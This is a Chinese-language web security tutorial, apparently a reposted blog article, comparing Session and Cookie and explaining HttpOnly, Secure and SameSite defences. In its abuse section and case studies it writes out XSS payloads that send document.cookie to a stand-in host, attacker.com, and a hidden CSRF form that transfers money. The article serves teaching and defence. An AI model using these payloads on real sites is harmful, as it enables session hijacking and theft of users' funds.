Session 与 Cookie 安全全剖析：区别、弊端与防护策略
目录1. Session 与 Cookie 的区别
定义
存储位置
生命周期
数据量
安全性
2. Session 与 Cookie 在安全方面的区别
3. Cookie 中与安全相关的字段及弊端使用
与安全相关的字段
弊端使用
4. Cookie 安全和 Session 安全必要注意的方面及安全使用方法
Cookie 安全注意事项
Session 安全注意事项
安全使用方法
5. 现实工作案例
案例 1：XSS 盗取 Cookie
案例 2：CSRF 转账攻击
案例 3：Session 固定攻击
https://i-blog.csdnimg.cn/direct/6ddb3d2791c445d9bc97041a271b8274.png
1. Session 与 Cookie 的区别
定义
[*] Cookie：一种客户端存储机制，由服务器通过 HTTP 响应头的 Set-Cookie 字段发送到客户端，浏览器在后续请求中自动携带这些数据。Cookie 通常用于存储少量信息，如用户偏好或会话标识。
[*] Session：一种服务器端存储机制，用于在服务器上维护用户的会话状态。Session 通常通过 Cookie 传递一个唯一的 Session ID，服务器根据此 ID 查找对应的会话数据。
存储位置
[*] Cookie：数据存储在客户端浏览器中。
[*] Session：数据存储在服务器端，客户端仅持有 Session ID。
生命周期
[*] Cookie：可设置过期时间，过期后自动失效；若未设置，则浏览器关闭后失效。
[*] Session：通常在用户一段时间不活动后由服务器销毁，具体时间由服务器设置。
数据量
[*] Cookie：受浏览器限定，通常不超过 4KB。
[*] Session：存储在服务器端，数据量理论上无穷定，但受服务器资源约束。
安全性
[*] Cookie：存储在客户端，易被盗取或篡改。
[*] Session：数据在服务器端，相对安全，但 Session ID 泄露可能导致风险。
2. Session 与 Cookie 在安全方面的区别
[*] 数据存储位置：
[*] Cookie：数据存储在客户端，可能包罗敏感信息，易被攻击者获取。
[*] Session：敏感数据存储在服务器，客户端仅持有 Session ID，安全性更高。
[*] 篡改风险：
[*] Cookie：攻击者可通过浏览器工具或脚本直接修改 Cookie 值。
[*] Session：Session 数据在服务器端，客户端无法直接篡改。
[*] 泄露风险：
[*] Cookie：易受 XSS（跨站脚本攻击）盗取，若未加密传输还可能被截获。
[*] Session：Session ID 若泄露，可能导致会话劫持，但数据本身较安全。
[*] 持久性：
[*] Cookie：可设置长时间有效，增长被使用的风险。
[*] Session：通常短期有效，过期后失效，风险较低。
总结：Session 因数据存储在服务器端，比 Cookie 更安全，但需掩护好 Session ID。
3. Cookie 中与安全相关的字段及弊端使用
与安全相关的字段
[*] HttpOnly：克制 JavaScript 访问 Cookie，防止 XSS 攻击盗取。
[*] Secure：限定 Cookie 仅通过 HTTPS 传输，防止中间人攻击。
[*] SameSite：控制 Cookie 在跨站请求中的发送行为，防止 CSRF（跨站请求伪造）攻击：
[*] SameSite=Strict：仅同站请求携带 Cookie。
[*] SameSite=Lax：允许部门跨站请求（如 GET）携带。
[*] SameSite=None：允许所有跨站请求（需配合 Secure）。
弊端使用
[*] XSS 攻击：
[*] 方式：攻击者注入恶意脚本，盗取未设置 HttpOnly 的 Cookie。
[*] 示例：<script>document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '">')</script>。
[*] CSRF 攻击：
[*] 方式：攻击者诱导用户在登录状态下访问恶意网站，触发带 Cookie 的请求。
[*] 示例：用户访问恶意网站，自动提交表单到 http://bank.com/transfer。
[*] 中间人攻击：
[*] 方式：在 HTTP 毗连中截获未设置 Secure 的 Cookie。
[*] 示例：攻击者重放 Cookie 冒充用户。
4. Cookie 安全和 Session 安全必要注意的方面及安全使用方法
Cookie 安全注意事项
[*] 设置 HttpOnly，防止 XSS 盗取。
[*] 设置 Secure，确保仅在 HTTPS 中传输。
[*] 设置 SameSite，根据需求选择策略，防止 CSRF。
[*] 设置短过期时间，减少被使用的时间窗口。
[*] 避免存储明文敏感信息，须要时加密。
Session 安全注意事项
[*] Session ID 安全：
[*] 使用长随机 ID，防止推测。
[*] 定期更换 ID，防止会话固定攻击。
[*] 过期策略：
[*] 设置公道过期时间，避免恒久有效。
[*] 服务器掩护：
[*] 使用安全的存储方式（如加密数据库）。
[*] 防止未授权访问 Session 数据。
安全使用方法
[*] Cookie：
[*] 仅存储 Session ID，敏感数据放入 Session。
[*] 启用 HttpOnly、Secure 和 SameSite。
[*] Session：
[*] 确保 Session ID 通过安全通道传输。
[*] 用户登出时销毁 Session。
5. 现实工作案例
案例 1：XSS 盗取 Cookie
[*] 场景：某网站未设置 HttpOnly，用户批评区存在 XSS 弊端。
[*] 过程：
[*] 攻击者在批评中注入：<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>。
[*] 用户访问页面，脚本执行，Cookie 被发送到攻击者服务器。
[*] 效果：攻击者获取 Cookie，冒充用户。
案例 2：CSRF 转账攻击
[*] 场景：某银行网站未设置 SameSite，用户登录后访问恶意网站。
[*] 过程：
[*] 恶意网站包罗表单：<form action="http://bank.com/transfer" method="POST"><input type="hidden" name="amount" value="1000"><input type="hidden" name="to" value="attacker"></form>。
[*] 用户访问时，浏览器自动发送请求。
[*] 效果：用户资金被转走。
案例 3：Session 固定攻击
[*] 场景：某网站在登录前分配 Session ID。
[*] 过程：
[*] 攻击者获取 Session ID 并诱导受害者使用。
[*] 受害者登录后，攻击者使用同一 ID 访问。
[*] 效果：攻击者冒充受害者。
喜好本文的请动动小手点个赞，收藏一下，有题目请下方批评，转载请注明出处，并附有原文链接，谢谢！
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]